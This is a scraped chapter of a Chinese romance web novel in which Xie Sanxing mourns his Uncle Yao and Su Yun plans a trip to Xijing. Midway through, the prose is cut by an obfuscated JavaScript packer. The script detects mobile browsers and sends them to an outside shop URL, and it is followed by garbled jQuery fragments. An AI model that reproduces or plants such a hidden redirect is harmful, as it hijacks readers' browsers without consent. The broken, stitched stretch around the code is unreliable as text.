默认冷灰
24号文字
方正启体

76. 第76章 忆故人

作者:三月廿八本书字数:K更新时间:
    这一日,苏韵听谢三省讲了许多,关于姚二叔的事。


    姚二叔名姚全,是镇国公谢循的结拜弟兄,也是谢循的副将,先帝登基后,曾被亲封为忠武将军。


    谢三省诞生之时,谢循已近不惑之年,自然不会时时陪他玩耍。


    而姚全年轻,又无妻无子,对待谢三省宛若亲生,闲暇时总带他溜出去斗鸡走兽,骑马打猎,做些平日里谢循不允许他做的事。


    每次他犯错,谢循要行家法之时,姚全也都会及时出现,把小小的他护在身后。


    对于他来说,姚全是亲生父兄一样的存在,比真正的阿耶阿兄还要亲。


    先帝在时,这些开国武将的日子还算好过,当今圣人继位后,忌惮手握兵权的将军们,先后找借口贬斥、流放了几位重臣。


    从那以后,以谢循为首的狼头军,行事愈发谨慎,常常有被折辱,最后却只能忍气吞声息事宁人的事发生。


    这对戎马一生武将来说,简直比杀了他们还难受!


    与谢循的谨小慎微不同,姚全生性狂放不羁敢想敢为,若说狼头军中谁人离经叛道,非他莫属,吃了亏,当场便要人还回来,绝不过夜。


    为此,姚全也受了谢循不少军法。


    每次挨了军棍,谢三省都要偷偷带着伤药去探望,面对赌气不语的少年,姚全还会笑着安慰,“二叔不疼,别生你阿耶的气,他这样是在保护大家。”


    姚全不愿再待在波谲云诡的朝局之中,多次提出想要解甲云游,可谢循担心他的安危,并不肯放他走。


    于是,曾经那个意气风发壮志凌云的武将,变得越来越沉默,日饮夜饮嗜酒如命,在一次酩酊大醉吐血晕倒之后,身子便一天天垮了下去。


    除夕前,姚全的病情又一次加重,太医来把过脉之后,判了他死刑。


    “那天,我哭了很久。”谢三省望着那涛涛江水,双眼猩红,“从小我便活得遂心快意,无论想要什么都能唾手可得,可二十岁这年,我想尽了一切办法,却也留不住二叔。”


    “二叔他却不难过,毫无血色的脸上,仍然挂着昔日的笑容,他说,‘三省啊,带二叔去个地方吧!’”


    说完这句,他忍不住低声抽泣。


    苏韵鼻子一酸,头轻轻靠在他肩膀,双手环住他微抖的身体。


    良久,他才继续道:“我抱着他,看黄河奔流,他问我,知不知道黄河最终流向哪里,我说我当然知道,大海嘛,他笑了,多好啊!”


    “他喜欢海,一直想在海边住下,天气好的时候,就出海打鱼,天气不好的时候,就躲在屋子里听海听雨。起初,他想让我把他埋在沙滩上,后来又笑着说不妥,海浪冲刷几次,把腐烂了一半的他冲出来,吓坏了人就不好了。”


    苏韵不忍,仰脸看着他。


    “后来,他说,还是把他烧了吧,骨灰就洒在黄河里,黄河会带着他,回到大海深处去。他唱他最喜欢的曲,没力气了,就要我唱给他听,等我唱完,他,他…”


    他再也说不下去。


    苏韵知道,此时说什么都是苍白的,只能紧紧抱住他。


    不知过了多久,谢三省转脸抹了抹泪,又低头帮她拭泪,笑道:“我都能想到,要是二叔见了你,第一句会说什么。”


    “什么?”


    “好漂亮的女娃娃,跟我家三省正登对!”


    苏韵又忍不住要掉眼泪,怕再引他伤心,只好躲进他怀里,轻声问道:“你身上的伤,就是这么来的吧?”


    “嗯。”


    “如果换作是我,我也会这么做。”苏韵认真道,“一顿皮肉之苦,换二叔自由自在,很值得。”


    “若是认真算起来,我可不止换了这一样。”谢三省垂眸看向她,勾了勾嘴角,“受了家法之后,我阿耶才答应去你家提亲。”


    苏韵回忆起提那日,他特意穿了红色的袍衫,走路很慢,而她还在怨他来得迟。


    她环着他腰身的手,又箍得更紧了些。


    “等忙完了这一阵,我陪你回西京住一阵吧。”


    谢三省又惊又喜,“当真?”


    “自然是真的,只是我从未去过西京,你要带我好好逛一逛才是。”


    “那还不容易?我包你玩得乐不思蜀,不想回来了!”


    苏韵从他怀里抽身,“听说,西京酒肆里的陪酒侍郎,各个貌赛潘安,多才多艺?”


    谢三省脸色骤变,“苏徵儿,你想干嘛?二叔还听着呢!”


    “二叔才不会在意这些。”


    “好!”他咬着后槽牙,“你想看什么表演?为夫现在就演给你看!”


    苏韵笑着躲,“谁要看你…”


    *


    秋风萧瑟,树叶日渐凋零,早起劳作的人们已换上厚衣,熟人见面总要感叹几句白驹过隙。


    为了让桃源街众人能尽快学会波斯人的织补方法,安大娘特地将她许久不联系的阿娘接了来——她阿娘姓火寻,是地道的波斯人,独自生活在城郊。


    母女俩究竟为何断了联系,众人无从得知,从日常小心翼翼地接触之中,也无法探得端倪。


    但在人一起,总归是好的吧。


    胡商康姓首领如约送来香料,苏韵将其中胡椒都卖掉之后,好赚了一笔,剩余香料都叫人送到了杜氏那里。


    常规的香粉方子,在商会中不是秘密。


    而这西域来的名贵香料,只需要在原来的方子里添加一点点,香粉便香味浓郁妙不可言,价格也至少要翻上一番。


    一晃香粉铺子已经开了半年了,杜氏和李颖如应对起店里琐事来更加自如,有了钱傍身,说话处事底气也足了许多。


    这日黄昏,苏韵和蒋玉澜到葵荫路的时候,杜氏母女正在商量由谁去西京送一个大订单。


    “这位常夫人,是店里的熟客,每次出新品她也都是第一个支持。”李颖如为苏韵解释道,“前些日子定了上百盒夕岚和暮山粉,说是要随夫君搬到西京去住,乔迁宴时分发给女客用。”


    杜氏点头,接着说道:“谁知,常夫人昨日来了封信,说是家里有些变故提前上了路,人都到了西京才想起这茬,便问我们能不能给送过去,还说路费不是问题。”


    蒋玉澜不以为然,“那就找个货郎带过去呗!”


    李颖如轻摇头,“常夫人夫君也是官身,想必来往的女客也都是官眷,货郎带去是容易,可若是路上磕了碰了,拿不出手,岂不是叫常夫人难堪?我还是想谨慎些。”


    苏韵思忖片刻,“可知乔迁宴在哪一日?”


    “五日后。”李颖如忧心道,“从这到西京,一来一回少说也要四五日,阿娘手里一堆单子,我又不放心把店完全交给佣工,可若想要稳妥些,最迟后日也得出发了,你来得正好,店里你帮我照看几日,我也放心些。”


    苏韵浅笑,“我还是帮你送货吧。”


    众人皆大吃一惊。


    “你要帮我送货?”李颖如忙摆手道,“不妥不妥,如今已是秋末,早晚寒凉,赶路又辛苦,我去就是了,没事折腾你做什么?”


    苏韵笑了笑,“前些天,我还跟谢三省说,要陪他回西京住几日,这不,机会就来了?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238055|186641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>见面前几人面面相觑,她又道:“早晚我都是要走这一趟的,我带过去,不过是顺手的事,还能省下一笔路费,多划算!”


    李颖如迟疑,“你不是故意这么说来诓我的吧?”


    “诓你做什么?”苏韵哭笑不得,“我还没去过西京呢,谢三省也是许久没回去了,我们可能要待上一段时日,桃源街那边,还得你帮我照看着。”


    李颖如这才放下心来,“好,我有空就去看看。”


    蒋玉澜也道:“放心吧,还有我呢。”


    担心的事情落了定,杜氏长舒一口气,“是了,徵儿成亲也有段时日了,总在娘家待着也是不好,回去跟舅姑住一住,免得人说闲话。”


    “阿娘!”


    “好好好,阿娘不说了,你们聊,我去给你们弄点吃的。”杜氏笑吟吟起身,“徵儿,玉澜,今日定要吃了饭再走啊。”


    “好!”


    *


    用过夕食,苏韵又到桃源街嘱咐一番,赶在宵禁前回了司马府,甫一进门,她便见到了书案前,脸拉得老长的谢三省。


    净过了手,她扭头问道:“用过夕食没有?”


    “一个人,吃不下。”谢三省撇嘴,“也就用了一碗粥,两块饼,还有些羊肉。”


    “晚上吃这么多,也不怕积食。”她不由得失笑,又打开柜子翻了翻,自顾自道,“是不是该新做两件衣裳。”


    见她不理会自己,谢三省又拉了长声道:“哎呀,心情不好,读不进去书。”


    苏韵斜了他一眼,摇了摇头,又转身去妆奁里翻看。


    蒋玉澜跟蒋老将军去过几次西京,知道她要去,啰里啰嗦嘱咐了不少。


    西京无尽繁华,城里住着的大多不是达官便是显贵,高门贵女和官眷夫人们聚在一处,讨论最多的便是衣着首饰。


    眼下时兴的衣裙布料、披帛款式,稀罕少见的宝石,名家大作的钗环…


    若是浑身上下也没件出彩的物件,少不了背后要遭人议论。


    她倒是不在乎这些虚名,可到了西京,她不光是她自己,还是镇国公府的少夫人。


    总不能叫人说谢三省苛待她吧?


    但真要她为了他的面子,花钱去置办一身行头,她也舍不得。


    那钱可是她好不容易才赚来的。


    要是有首饰头面租赁的店铺就好了。


    只是灵光一闪,旋即她马上打消了这个念头。


    再华美的头面,今日出现在张夫人身上,明日又原封不动到了李夫人身上,应该是比无簪无珥还要丢脸吧?


    苏韵正胡乱想着,又听得谢三省长叹了一声,“唉,枯坐太久,背好酸啊。”


    “背酸就起来活动活动。”


    她头也没回,将手里的金簪放回妆奁,又想起收在库房的聘礼来。


    那里面准有好东西!


    她登时开心起来,兴奋转身,没想到,却直接和谢三省撞了个满怀,一双结实有力的手臂将她扶稳,却没再松开。


    “啊,吓死我了!”她手按在心口,瞪了他一眼,“怎么神出鬼没的?”


    “不是你叫我活动活动吗?”谢三省越过她肩头看了看妆奁,“怎么?没有合适的簪子戴?那明日我带你去买。”


    “你给我买?”她仰起脸,认真问道。


    谢三省垂眸,看着怀里的人儿,眼睛清澈明亮似小鹿一般,眼神又至善至纯天真无邪,倒显得他躁动的欲望有些龌龊。


    他倏地松了手,目光生生移开,哑声道:“不就是簪子么,你若喜欢,买百支千支又有何妨?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)